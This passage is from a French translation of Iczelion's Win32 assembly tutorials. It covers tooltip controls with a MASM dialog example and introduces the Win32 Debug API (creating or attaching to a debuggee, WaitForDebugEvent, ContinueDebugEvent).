  • TTF_SUBCLASS Si vous utilisez ce Flag, ça signifie que vous indiquez au tooltip control de sous-classer la fenêtre sur laquelle le tool est branché, ainsi le tooltip control pourra intercepter les messages souris qui sont envoyés à cette fenêtre. Ce Flag est très pratique. Si vous ne l'employez pas, vous devez faire plus de boulot pour relayer les messages souris vers le tooltip control.
hWnd est l'handle de la fenêtre qui contient le tool. Si vous mettez le flag TTF_IDISHWND, ce champ sera ignoré puisque Windows utilisera la valeur du membre uId en tant qu' handle de la fenêtre. Vous avez besoin de remplir ce champ si :
  • Vous n'utilisez pas le Flag TTF_IDISHWND (Autrement dit, vous utilisez un petit tool rectangulaire)
  • Vous mettez la valeur LPSTR_TEXTCALLBACK dans le membre lpszText. Cette valeur informe le tooltip control que, lorsqu'on a besoin d'afficher la fenêtre tooltip, on doit solliciter cette fenêtre pour que le texte soit affiché. C'est une sorte de mise à jour dynamique du texte tooltip en temps réel. Si vous souhaitez changer dynamiquement votre texte tooltip, vous devez mettre la valeur LPSTR_TEXTCALLBACK dans le membre lpszText. Le tooltip control enverra le message d'avis (l'information) TTN_NEEDTEXT dans la fenêtre identifiée par l'handle hWnd.
uId La valeur a mettre dans ce champ peut avoir deux significations. ça dépend si le membre uFlags (vu plus haut) contient le Flag TTF_IDISHWND.
  • C'est une application définissant l'ID du tool si le flagTTF_IDISHWND n'a pas été indiqué. Puisque dans ce cas vous employez un tool qui recouvre uniquement une petite partie du secteur client, c'est logique que vous puissiez avoir beaucoup de ces mêmes outils semblables sur votre secteur client (sans qu'ils se chevauchent). Le tooltip control a besoin de pouvoir les différencier. Dans ce cas, l'handle de la fenêtre qui est dans le membre hWnd n'est pas assez sélectif puisque tous ces outils sont sur cette même fenêtre. Les 'IDs' sont donc nécessaires. L'IDs représenter n'importe quelles valeurs tant qu'elle restent uniques entre elles.
  • C'est l'handle de la fenêtre dont on utilise la totalité de son secteur client pour afficher le tool si le Flag TTF_IDISHWND a été spécifié. Vous pouvez vous demander pourquoi ce champ est utilisé pour stocker l'handle de la fenêtre au lieu de hWnd. La réponse c'est que le membre hWnd peut déjà être rempli si la valeur LPSTR_TEXTCALLBACK a déjà été spécifiée dans le membre lpszText , en plus la fenêtre qui est responsable de l'approvisionnement du texte tooltip ainsi que la fenêtre qui contient le tool ne peuvent pas être les mêmes (Vous pouvez construire votre programme pour qu'une simple fenêtre puisse jouer ces deux rôles mais c'est trop restrictif. Dans ce cas, Microsoft vous donne plus de liberté. Acclamations.)
rect | La structure RECT définie les dimensions du tool. Cette structure définit un rectangle positionné par rapport au coin supérieur gauche du secteur client de la fenêtre (qui peut aussi être un simple objet) choisi par le membre hWnd. Bref, vous devez remplir cette structure si vous voulez avoir un tool qui ne recouvre qu'une partie du secteur client. Le tooltip control ignorera ce champ si vous avez déjà mis le Flag TTF_IDISHWND (Car dans ce cas, c'est que souhaitiez utiliser un tool qui recouvre la totalité de secteur client. Enfin Normalement ! ! ! )
hInst | est l'handle de l'instance (du groupe de données) qui contient la chaîne de caractères en ressource lequel sera employé en tant que 'tooltip texte' uniquement si la valeur dans le membre lpszText pointe sur cette chaîne de caractères. Ça peut paraître confus. Lisez d'abord l'explication sur le membre lpszText et vous comprendrez à quoi sert réellement ce champ. Le tooltip control ignora ce champ si le champ lpszText ne contient pas l'identificateur de la chaîne de caractères en ressource.
lpszText Ce champ peut avoir plusieurs valeurs :
  • Si vous mettez la valeur LPSTR_TEXTCALLBACK dans ce champ, le tooltip control enverra le message d'avis TTN_NEEDTEXT à la fenêtre identifiée par son handle dans le champs hWnd pour que la chaîne de caractères soit affichée dans la fenêtre tooltip. C'est la méthode la plus dynamique de mise à jour du texte tooltip : vous pouvez changer ce tooltip texte à chaque fois que la fenêtre tooltip est affichée.
  • Si vous mettez l'identificateur de la chaîne de caractères en ressource dans ce champ, alors lorsque le tooltip control en aura besoin pour montrer le tooltip texte dans la fenêtre tooltip, il recherchera cette chaîne dans le tableau des chaînes de caractères de grâce au membre hInst. Le tooltip control identifie l'identificateur de la chaîne de caractères (en ressource) en vérifiant le mot de poids fort de ce champ (de ce paramètre). Puisque c'est une valeur sur 16 bits, le mot de poids fort dans ce paramètre sera toujours initialisé à zéro. C'est une méthode utile si vous destinez adapter votre programme à d'autres langues. Puisque la chaîne de caractères est définie dans un scénario de ressource, vous n'avez pas besoin de modifier le code source de votre programme lui-même. Il vous suffit seulement de modifier la table des chaînes de caractères et ainsi les tooltip textes changeront sans qu'il y ait le risque que des bogues viennent foutre le bordel dans votre programme.
  • Si la valeur dans ce paramètre n'est pas LPSTR_TEXTCALLBACK et que le mot de poids fort n'est pas à zéro, le tooltip control interprète cette valeur comme l'indicateur (le pointeur) qui est sur la chaîne de caractères qui servira de tooltip texte. Cette méthode est la plus facile à utiliser, mais elle reste moindre flexible.

Pour récapituler, vous avez besoin de remplir la structure TOOLINFO avant de la soumettre au tooltip control. Cette structure définit les caractéristiques du tool que vous désirez obtenir.

Prendre en compte l'existence du 'tool' avec le 'tooltip control'

Après que vous ayez rempli la structure TOOLINFO, vous devez la soumettre au tooltip control. Le tooltip control peut gérer en même temps plusieurs Tools donc il est en général inutile de créer plusieurs tooltip control pour une même fenêtre. Pour associer un tool à un tooltip control, on envoie le message TTM_ADDTOOL au tooltip control. wParam n'est pas utilisé, mais lParam doit absolument contenir l'adresse de la structure TOOLINFO que vous souhaitez enregistrer (lui associer).
.data?
ti TOOLINFO <>
.......
.code
.......
<fill the TOOLINFO structure>
.......
invoke SendMessage, hwndTooltip, TTM_ADDTOOL, NULL, addr ti
SendMessage: Ce message renverra la valeur TRUE si le tool est enregistré avec succès au près du tooltip control, FALSE dans le cas contraire.
Vous pouvez 'désenregistrer' un tool en envoyant le message TTM_DELTOOL au tooltip control.

Transmission des Messages Souris jusqu'au Tooltip Control

Quand on a achevé l'étape ci-dessus, le tooltip control sait quels secteurs (zones) est-ce qu'il doit contrôler quand la souris passe dessus et aussi quel texte il doit afficher dans la fenêtre tooltip. La seule chose qui manque à cette action c'est l' *élément qui la déclenche*. Pensez-y : la zone indiqué par le tool est sur le secteur client de l'autre fenêtre. Comment un tooltip control peut-il intercepter les messages souris destinés à cette fenêtre ? On a besoin de chronométrer les temps de passage du pointeur de la souris au dessus d'un tool pour que si ce temps écoulé est suffisant, pour que le tooltip control affiche la fenêtre du tooltip. Il y a deux méthodes pour faire ça, la première exige la coopération de la fenêtre qui contient le tool alors que l'autre s'effectue sans coopération de la part de cette fenêtre.
  • La fenêtre qui contient le tool doit transmettre les messages souris jusqu'au tooltip control en les lui envoyant avec le message TTM_RELAYEVENT. La partie lParam de ce message doit contenir l'adresse de la structure MSG laquelle signifie que le message doit être transmis au tooltip control. Le tooltip control traite seulement les messages souris suivants :
    • WM_LBUTTONDOWN
    • WM_MOUSEMOVE
    • WM_LBUTTONUP
    • WM_RBUTTONDOWN
    • WM_MBUTTONDOWN
    • WM_RBUTTONUP
    • WM_MBUTTONUP
    Tous les autres messages seront ignorés. Ainsi dans la 'procédure de fenêtre' de la fenêtre qui contient le tool, il doit y avoir un commutateur un peu dans le genre :

    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .......
    if uMsg==WM_CREATE
    .............
    elseif uMsg==WM_LBUTTONDOWN || uMsg==WM_MOUSEMOVE || uMsg==WM_LBUTTONUP || uMsg==WM_RBUTTONDOWN || uMsg==WM_MBUTTONDOWN || uMsg==WM_RBUTTONUP || uMsg==WM_MBUTTONUP
    invoke SendMessage, hwndTooltip, TTM_RELAYEVENT, NULL, addr msg
    ..........

  • Vous pouvez mettre le Flag TTF_SUBCLASS dans le membre uFlags de la structure TOOLINFO. Ce Flag dit au tooltip control de sous-classer la fenêtre qui contient le tool ainsi on peut intercepter les messages souris sans aucune coopération de la fenêtre. Cette méthode est plus facile à utiliser puisque elle n'exige pas de code supplémentaire grâce au Flag TTF_SUBCLASS et en plus le tooltip control s'occupe de toutes les interceptions de message par lui-même.
Voilà. À ce niveau, votre tooltip control est entièrement fonctionnel. Mais il y a plusieurs messages utiles, liés au tooltip, que vous devez connaître.
  • TTM_ACTIVATE. Sert à Activer/Désactiver le fonctionnement dynamyge du tooltip control , ce message est pour vous. Si la valeur de wParam est TRUE,alors le tooltip control est activé. Si la valeur de wParam est FALSE, le tooltip control est mise hors de service. On active notre tooltip control avant même qu'il n'ait été créé ainsi vous n'avez pas besoin d'envoyer aucun message pour l'activer.
  • TTM_GETTOOLINFO et TTM_SETTOOLINFO. l'utilisation ces messages sert à obtenir/changer des valeurs dans la structure TOOLINFO après qu'il ait été soumis au tooltip control. Vous avez besoin d'indiquer le tool que vous avez besoin de changer avec les valeurs correctes de uID et hWnd. Si vous souhaitez seulement changer le membre rect, utilisez le message TTM_NEWTOOLRECT. Si vous voulez changer le 'tooltip texte', utilisez TTM_UPDATETIPTEXT.
  • TTM_SETDELAYTIME. Grâce à ce message, vous pouvez définir le temps d'attente avant que le tooltip control n'affiche le tooltip texte.

Exemple:

L'exemple suivant repésente une simple boîte de dialogue munie de deux boutons. Son secteur client est divisé en 4 secteurs : un secteur supérieur gauche, supérieur droit, inférieur droit et inférieur gauche. Chaque secteur sera définit en tant que tool avec son propre tooltip texte. Les deux boutons auront eux aussi leurs propres tooltip textes.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
EnumChild proto :DWORD,:DWORD
SetDlgToolArea proto :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
.const
IDD_MAINDIALOG equ 101
.data
ToolTipsClassName db "Tooltips_class32",0
MainDialogText1 db "This is the upper left area of the dialog",0
MainDialogText2 db "This is the upper right area of the dialog",0
MainDialogText3 db "This is the lower left area of the dialog",0
MainDialogText4 db "This is the lower right area of the dialog",0
.data?
hwndTool dd ?
hInstance dd ?
.code
start:
    invoke GetModuleHandle,NULL
    mov hInstance,eax
    invoke DialogBoxParam,hInstance,IDD_MAINDIALOG,NULL,addr DlgProc,NULL
    invoke ExitProcess,eax

DlgProc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    LOCAL ti:TOOLINFO
    LOCAL id:DWORD
    LOCAL rect:RECT
    .if uMsg==WM_INITDIALOG
        invoke InitCommonControls
        invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
            TTS_ALWAYSTIP,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
            hInstance,NULL
        mov hwndTool,eax
        mov id,0
        mov ti.cbSize,sizeof TOOLINFO
        mov ti.uFlags,TTF_SUBCLASS
        push hDlg
        pop ti.hWnd
        invoke GetWindowRect,hDlg,addr rect
        invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect
        inc id
        invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText2,id,addr rect
        inc id
        invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText3,id,addr rect
        inc id
        invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText4,id,addr rect
        invoke EnumChildWindows,hDlg,addr EnumChild,addr ti
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hDlg,NULL
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
DlgProc endp

EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
    LOCAL buffer[256]:BYTE
    mov edi,lParam
    assume edi:ptr TOOLINFO
    push hwndChild
    pop [edi].uId
    or [edi].uFlags,TTF_IDISHWND
    invoke GetWindowText,hwndChild,addr buffer,255
    lea eax,buffer
    mov [edi].lpszText,eax
    invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
    assume edi:nothing
    ret
EnumChild endp

SetDlgToolArea proc uses edi esi hDlg:DWORD,lpti:DWORD,lpText:DWORD,id:DWORD,lprect:DWORD
    mov edi,lpti
    mov esi,lprect
    assume esi:ptr RECT
    assume edi:ptr TOOLINFO
    .if id==0
        mov [edi].rect.left,0
        mov [edi].rect.top,0
        mov eax,[esi].right
        sub eax,[esi].left
        shr eax,1
        mov [edi].rect.right,eax
        mov eax,[esi].bottom
        sub eax,[esi].top
        shr eax,1
        mov [edi].rect.bottom,eax
    .elseif id==1
        mov eax,[esi].right
        sub eax,[esi].left
        shr eax,1
        inc eax
        mov [edi].rect.left,eax
        mov [edi].rect.top,0
        mov eax,[esi].right
        sub eax,[esi].left
        mov [edi].rect.right,eax
        mov eax,[esi].bottom
        sub eax,[esi].top
        mov [edi].rect.bottom,eax
    .elseif id==2
        mov [edi].rect.left,0
        mov eax,[esi].bottom
        sub eax,[esi].top
        shr eax,1
        inc eax
        mov [edi].rect.top,eax
        mov eax,[esi].right
        sub eax,[esi].left
        shr eax,1
        mov [edi].rect.right,eax
        mov eax,[esi].bottom
        sub eax,[esi].top
        mov [edi].rect.bottom,eax
    .else
        mov eax,[esi].right
        sub eax,[esi].left
        shr eax,1
        inc eax
        mov [edi].rect.left,eax
        mov eax,[esi].bottom
        sub eax,[esi].top
        shr eax,1
        inc eax
        mov [edi].rect.top,eax
        mov eax,[esi].right
        sub eax,[esi].left
        mov [edi].rect.right,eax
        mov eax,[esi].bottom
        sub eax,[esi].top
        mov [edi].rect.bottom,eax
    .endif
    push lpText
    pop [edi].lpszText
    invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti
    assume edi:nothing
    assume esi:nothing
    ret
SetDlgToolArea endp
end start

Analyse:

Après que la fenêtre de dialogue principale ait été créée, nous créons le tooltip control à son tour avec CreateWindowEx.
invoke InitCommonControls
invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
       TTS_ALWAYSTIP,CW_USEDEFAULT,\
       CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
       hInstance,NULL
mov hwndTool,eax
Après ça, on définit quatre Tools pour chaque coin de la boîte de dialogue.

    mov id,0        ; Employé en tant qu' ID du tool.
    mov ti.cbSize,sizeof TOOLINFO
    mov ti.uFlags,TTF_SUBCLASS    ; Impose au tooltip control de sous-classer la fenêtre de dialogue.
    push hDlg
    pop ti.hWnd    ; handle de la fenêtre qui contient le tool.
    invoke GetWindowRect,hDlg,addr rect    ; Obtient les dimensions du secteur client.
    invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect

Nous initialisons les membres de la structure TOOLINFO. Remarquez que nous voulons diviser le secteur client en 4 Tools donc nous avons besoin de connaitre les dimensions du secteur client. C'est pourquoi nous appelons GetWindowRect. Nous ne souhaitons pas transmettre les messages souris au tooltip control nous-mêmes donc nous mettons le Flag TIF_SUBCLASS.
SetDlgToolArea est une fonction qui construit le rectangle de limitation de chaque tool et enregistre ce tool vis à vis du tooltip control. Je n'entrerai pas dans les détails complexes du calcul, il suffirai pour dire qu'elle divise le secteur client en 4 secteurs de mêmes tailles. Donc on envoie le message TTM_ADDTOOL au tooltip control, en passant l'adresse de la structure TOOLINFO dans le paramètre lParam.

    invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti

Après que ces 4 tools soient enregistrés, nous pouvons nous intéresser aux boutons de la boîte de dialogue. Nous pouvons mamipuler chaque bouton par son ID mais ce n'est pas pratique. A la place, nous emploierons l'appel API EnumChildWindows pour dénombrer tous les 'Controls' sur la boîte de dialogue et nous les enregistrons ensuite au près de notre tooltip control. EnumChildWindows a la syntaxe suivante :

EnumChildWindows proto hWnd:DWORD, lpEnumFunc:DWORD, lParam:DWORD
hWnd est l'handle de la fenêtre parente. LpEnumFunc est l'adresse de la fonction EnumChildProc laquelle sera appelée pour chaque contrôle ayant été dénombré. lParam est la valeur que l'on passera à la fonction EnumChildProc. La fonction EnumChildProc a la définition suivante :
EnumChildProc proto hwndChild:DWORD, lParam:DWORD
hwndChild est l'handle d'un contrôle ayant été dénombré par EnumChildWindows. lParam est la même valeur lParam que celle que nous avons passé à EnumChildWindows.
Dans notre exemple, nous appelons EnumChildWindows comme ça :
invoke EnumChildWindows,hDlg,addr EnumChild,addr ti
Nous passons l'adresse de la structure TOOLINFO dans le paramètre lParam parce que nous enregistrerons chaque Child Control de tooltip control dans la fonction EnumChild. Si nous n'utilisons pas cette méthode, nous devons déclarer ti en tant que variable globale, ce qui peut faire apparaître des bogues(défauts).
Lorsqu'on appelle EnumChildWindows, Windows dénombre les Childs Controls de notre boîte de dialogue et appelle la fonction EnumChild à chaque fois qu'il trouve un nouveau control. Donc si notre boîte de dialogue possède deux Childs Controls (ici 2 boutons), EnumChild sera appelée deux fois.
La fonction EnumChild remplit les membres appropriés de la structure TOOLINFO et enregistre ensuite le tool au près du tooltip control.
EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
    LOCAL buffer[256]:BYTE
    mov edi,lParam
    assume edi:ptr TOOLINFO
    push hwndChild
    pop [edi].uId    ; Nous utilisons la totalité du secteur client du 'Control' en tant que 'tool'.
    or [edi].uFlags,TTF_IDISHWND
    invoke GetWindowText,hwndChild,addr buffer,255
    lea eax,buffer    ; Ceci utilise le texte de la fenêtre comme tooltip texte.
    mov [edi].lpszText,eax
    invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
    assume edi:nothing
    ret
EnumChild endp
Notez que dans ce cas, nous employons un type de tool différent: celui-ci recouvre le secteur client de la fenêtre en entier. Nous avons donc besoin de remplir l'élément uID avec l'handle de la fenêtre qui contient ce tool. C'est pourquoi nous devons mettre le Flag TTF_IDISHWND dans le membre uFlags.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 28: Win32 Debug API Part 1

Tutorial 28: Win32 Debug API Partie 1/3

Dans ce tutorial, vous allons voir ce que Win32 offre comme mises au point primaires pour les développeurs. Lorsque vous en aurez terminés avec ce tutorial, vous saurez comment debugger un programme.
Downloadez l'exemple.

Théorie:

Win32 possède plusieurs APIs qui permettent aux programmeurs d'utiliser certaines des fonctions d'un débugger. On les appelle, les 'Win32 Debug APIs' ou 'primitives'. Avec elles, vous pouvez :

  • Charger un programme ou s'attacher à un programme en cours d'exécution pour le debugger.
  • Obtenir une information de bas niveau dans le programme que vous êtes en train de debugger, comme l'ID du process (du programme), l'adresse de son entrypoint, 'son image base' etc... (Par exemple quand vous cracker un logiciel avec W32Dasm, tous les programmes que vous désassemblez commencent à l'adresse 00400000. Ça c'est l'Image Base).
  • Prendre conscience des liens de parentés pour les phases de debugging qui ne vont pas l'un sans l'autre tels que pour un programme multi-liens 'Process/Liens' 'Start/Exit', les DLLs sont Chargés/déchargés en mémoire etc.
  • Modifier le process/lien qu'on est en train de debugger.

Bref, vous pouvez fabriquer un programme qui sert à debugger, grâce à ces APIs là (les Win32 Debug APIs). Puisque ce sujet est vaste, je le divise en plusieurs parties : ce tutorial étant la première partie. Dans celle-ci, j'expliquerai les concepts de base ainsi que la structure générale de l'utilisation des 'Win32 Debug APIs'.
Les étapes pour l'utilisation des 'Win32 Debug APIs' sont :

  1. Créez un process (dans W32Dasm c'est: Load Process) (Dans SoftIce c'est son: Loader) ou attachez votre programme à un process en cours de fonctionnement (Dans W32Dasm c'est: Attach to an Active Process) (Dans SoftIce c'est: CTRL+d). C'est la première étape de l'utilisation des 'Win32 debug APIs'. Puisque votre programme agira comme un DEBUGGER, vous aurez besoin d'un programme sur lequel faire vos essais. Un programme étant en train de se faire débugger (la cible) est appelé un debuggee (non je ne me suis pas trompé). Vous pouvez lancer une 'action debuggee' (action qui fait en sorte qu'on debug la cible, le debuggee) de deux façons :
    • Vous pouvez créer un 'Debuggee Process' par vous-même avec CreateProcess. Pour créer un process pour debugger, vous devez mettre le Flag DEBUG_PROCESS. Ce Flag précise à Windows que nous souhaitons debugger le process (de la même façon que Load Process pour W32Dasm). Windows enverra des notifications sur les événements importants servant à debugger (on va les appeler les 'debugging événements') qui arrivent dans votre programme debuggee. Votre debuggee sera immédiatement suspendu jusqu'à ce que votre programme ne soit prêt. Si le debuggee crée aussi des Child Process, Windows lui aussi enverra les 'debugging événements' dans tous les Child Process de votre programme. C'est un comportement qui d'habitude est indésirable. C'est pourquoi on peut le mettre hors service en spécifiant le Flag DEBUG_ONLY_THIS_PROCESS dans la combinaison de Flags DEBUG_PROCESS.
    • Vous pouvez 'attacher ' votre debugger à un programme cible qui est déjà en train de tourner, grâce à DebugActiveProcess.
  2. Attendez les 'debugging événements'. Après que votre programme n'ait acquis sa fonction de debugger, le lien primaire du debuggee est suspendu et continuera de l'être jusqu'à ce que vous appeliez WaitForDebugEvent dans votre programme. Cette fonction marche comme d'autres WaitForXXX fonctionnent, c'est-à-dire. Elle bloque le lien appelant tant que l'événement "attendu" ne se produise. Dans ce cas, elle attend que des 'debugging événements' soient envoyés par Windows. On va voir leur définition :

    WaitForDebugEvent Proto lpDebugEvent:DWORD, dwMilliseconds:DWORD

    lpDebugEvent est l'adresse de la structure DEBUG_EVENT, laquelle sera remplie de l'information d'un 'debugging événement' quand un événement particulier est en train de se passer dans le debuggee.

    dwMilliseconds est le temps en millisecondes que cette fonction attendra qu'un 'debugging événement' ne se produise. Si ce temps est écoulé et qu'aucun événement (servant à debugger) n'est arrivé, WaitForDebugEvent revient au Call. D'autre part, si vous mettez la constante INFINITE dans cet argument, la fonction ne retournera pas avant qu'un 'debugging événement' ne soit produit.

    Maintenant on va examiner la structure DEBUG_EVENT plus en détail.

    DEBUG_EVENT STRUCT
    dwDebugEventCode dd ?
    dwProcessId dd ?
    dwThreadId dd ?
    u DEBUGSTRUCT <>
    DEBUG_EVENT ENDS

    dwDebugEventCode contient la valeur (l'information) qui indique quel type de 'debugging événement' s'est produit dans la cible. Bref, il peut y avoir plusieurs types d'événements, votre programme a besoin de vérifier la valeur de cet élément pour qu'il sache de quel genre il est, et lui répondre convenablement. Les valeurs possibles sont les suivantes:

    3. Valeurs | Significations
CREATE_PROCESS_DEBUG_EVENT | Un process est créé. Cet événement sera envoyé lorsque le process du debuggee vient juste d'être créé (et n'est pas encore en fonction) ou lorsque votre programme s'attache juste à un process (un programme) en cours avec DebugActiveProcess. C'est le tout premier événement que votre programme recevra.
EXIT_PROCESS_DEBUG_EVENT | Un process vient de se terminer.
CREATE_THEAD_DEBUG_EVENT | Un nouveau lien est créé dans le process du debuggee ou quand votre programme s'attache d'abord à un process en cours. Notez que vous ne recevrez pas cet avis lorsque le lien primaire du debuggee est déjà créé.
EXIT_THREAD_DEBUG_EVENT | Un lien dans le debuggee vient de se terminer. Votre programme ne recevra pas cet événement pour le lien primaire. Bref, vous pouvez penser que le lien primaire du debuggee est un équivalent du process du debuggee lui-même. Ainsi, quand votre programme voit CREATE_PROCESS_DEBUG_EVENT, ça revient à CREATE_THREAD_DEBUG_EVENT pour le lien primaire.
LOAD_DLL_DEBUG_EVENT | Le debuggee charge une DLL. Vous recevrez cet événement quand le PE Loader résout les premiers liens de la DLL (vous appelez CreateProcess pour charger le debuggee), et au moment où le debuggee appelle LoadLibrary.
UNLOAD_DLL_DEBUG_EVENT | Une DLL est déchargé du process du debuggee.
EXCEPTION_DEBUG_EVENT | Une exception vient d'arriver dans le process du debuggee. Important: Cet événement arrivera uniquement avant que le debuggee ne commence à exécuter sa première instruction. L'exception est en réalité une pause debugging (int 3h) = (c'est un Break Point). Quand vous voulez reprendre le cours du debuggee, appelez ContinueDebugEvent avec le flag DBG_CONTINUE. N'utilisez pas le flag DBG_EXCEPTION_NOT_HANDLED sinon le debuggee refusera de repartir sous NT (sur Win98, ça marche très bien).
OUTPUT_DEBUG_STRING_EVENT | Cet événement est produit quand le debuggee appelle la fonction DebugOutputString pour envoyer une chaîne de caractères en tant que message à votre programme.
RIP_EVENT | Une erreur de debugging s'est produite.

    dwProcessId et dwThreadId sont les IDs du process et du lien, du programme dans lequel un 'debugging événement' s'est produit. Vous pouvez employer ces valeurs en tant qu'identificateurs du process et du lien auquel vous vous intéressez. Rappelez-vous que si vous employez CreateProcess pour charger le debuggee, vous obtenez aussi les IDs du process et du lien du debuggee dans la structure PROCESS_INFO. Vous pouvez utiliser ces valeurs pour différencier les événements qui se produisent dans le debuggee lui-même de ceux qui se produisent dans ses Child Process (au cas où vous n'auriez pas spécifié le Flag DEBUG_ONLY_THIS_PROCESS).

    u est une union qui contient plus d'informations à propos du 'debugging événement'. ça peut être une des structures suivantes selon la valeur de dwDebugEventCode vu plus haut.

    Valeur dans dwDebugEventCode | Interprétation de 'u'
CREATE_PROCESS_DEBUG_EVENT | La structure CREATE_PROCESS_DEBUG_INFO nommée CreateProcessInfo
EXIT_PROCESS_DEBUG_EVENT | La structure EXIT_PROCESS_DEBUG_INFO nommée ExitProcess
CREATE_THREAD_DEBUG_EVENT | La structure CREATE_THREAD_DEBUG_INFO nommée CreateThread
EXIT_THREAD_DEBUG_EVENT | La structure EXIT_THREAD_DEBUG_EVENT nommée ExitThread
LOAD_DLL_DEBUG_EVENT | La structure LOAD_DLL_DEBUG_INFO nommée LoadDll
UNLOAD_DLL_DEBUG_EVENT | La structure UNLOAD_DLL_DEBUG_INFO nommée UnloadDll
EXCEPTION_DEBUG_EVENT | La structure EXCEPTION_DEBUG_INFO nommée Exception
OUTPUT_DEBUG_STRING_EVENT | La structure OUTPUT_DEBUG_STRING_INFO nommée DebugString
RIP_EVENT | La structure RIP_INFO nommée RipInfo

    Je n'entrerai pas dans les détails de toutes ces structures dans ce tutorial, on va seulement s'attarder un peu sur la structure CREATE_PROCESS_DEBUG_INFO.
    Pour s'assurer que notre programme appelle WaitForDebugEvent et qu'il continue son déroulement ensuite, la première chose à faire est de retrouver quel 'debugging événement' s'est produit dans la cible'. Cette événement a été placé dans le membre dwDebugEventCode donc il suffit d'examiner la valeur dans dwDebugEventCode pour voir quel type de 'debugging événement' s'est produit dans le process du debuggee. Par exemple, si la valeur dans dwDebugEventCode est CREATE_PROCESS_DEBUG_EVENT, on peut interpréter le membre dans u comme étant CreateProcessInfo et y accéder grâce à u.CreateProcessInfo .

  3. Faites ce que vous voulez des réponses d'un 'debugging événement'. Lorsqu'on a un retour de WaitForDebugEvent, ça signifie qu'un 'debugging événement' vient juste de se dérouler dans le process du debuggee ou bien c'est que le temps d'attente s'est écoulé sans que rien ne se soit passé. Votre programme a besoin d'examiner la valeur dans dwDebugEventCode pour réagir convenablement à cet événement. À cet égard, ça se passe comme pour le traitement des 'Window Messages' (ex: on vient de détecter le déplacement de la souris, frappe clavier...) : vous choisissez d'en traiter certains mais on en ignore d'autres.
  4. Laissez le debuggee continuer son déroulement. Quand un 'debugging événement' se produit, Windows suspend le debuggee. Mais dès que vous avez terminé de traiter cet événement, vous avez besoin de le relancer (le debuggee) de nouveau, là où il s'était arrêté. On fait ça en appelant la fonction ContinueDebugEvent.

    ContinueDebugEvent proto dwProcessId:DWORD, dwThreadId:DWORD, dwContinueStatus:DWORD

    Cette fonction reprend le lien qui a été précédemment suspendu à cause du fait qu'un 'debugging événement' soit arrivé.
    dwProcessId et dwThreadId sont les 'IDs du process et du lien', du programme cible qui va enfin être relancé. On obtient d'habitude ces deux valeurs des membres dwProcessId et dwThreadId de la structure DEBUG_EVENT.
    dwContinueStatus indique comment continuer le lien qui a annoncé le 'debugging événement'. Il y a deux valeurs possibles: DBG_CONTINUE et DBG_EXCEPTION_NOT_HANDLED. En ce qui concerne tous les autres 'debugging événements', ces deux valeurs font la même chose : reprendre le lien. L'exception est EXCEPTION_debug_EVENT. Si le lien annonce un 'événement exception' de debugging, ça signifie qu'une exception s'est produite dans un lien du debuggee. Si vous mettez DBG_CONTINUE , Le lien ignorera son propre traitement d'exception et continuera son exécution. Dans ce scénario, votre programme doit examiner et résoudre l'exception lui-même avant de pouvoir reprendre son lien avec DBG_CONTINUE sinon l'exception arrivera de nouveau à maintes reprises.... Si vous mettez DBG_EXCEPTION_NOT_HANDLED, Votre programme indique à Windows qu'il n'a pas récupéré l'handle de l'exception : Windows devra utiliser l'Exception Handler (voir SEH) par défaut du debuggee, pour s'occuper de cette exception.
    Pour conclure, si le 'debugging événement' se réfère à une exception dans le process du debuggee, vous devez appeler ContinueDebugEvent avec le flag DBG_CONTINUE si votre programme a déjà éradiqué la cause de l'exception. Autrement, votre programme doit appeler ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED. Sauf dans un cas, pour lequel vous devez toujours utiliser le flag DBG_CONTINUE: le premier EXCEPTION_debug_EVENT a la valeur EXCEPTION_BREAKPOINT dans le membre ExceptionCode. Quand le debuggee va exécuter sa toute première instruction, votre programme recevra un événement d'exception de debugging. C'est en réalité une pause debugging (int 3h) (un Break Point). Si vous répondez en appelant ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED, Windows NT refusera de redémarrer le debuggee (parce que personne ne se soucie de ça). Vous devez toujours employer le flag DBG_CONTINUE dans ce cas, pour dire à Windows que vous voulez que le lien reprenne.

  5. On continue ce cycle indéfiniment tant que le debuggee ne tombe pas sur son propre Exit Process . Votre programme (le debugger) doit présenter une boucle infinie un peu comme une boucle de message. La boucle ressemble à ça :

    .while TRUE
    invoke WaitForDebugEvent, addr DebugEvent, INFINITE
    .break .if DebugEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
    ; S'occupe des événements de debugging.
    invoke ContinueDebugEvent, DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
    .endw

    Une fois le programme (à debugger) pris au piège : vous commencez à le debugger, vous ne pouvez plus vous en détacher (en sortir) tant qu'il ne s'est pas terminé (tant qu'on arrive pas à un des ses Exits).

On va récapituler les étapes à nouveau :

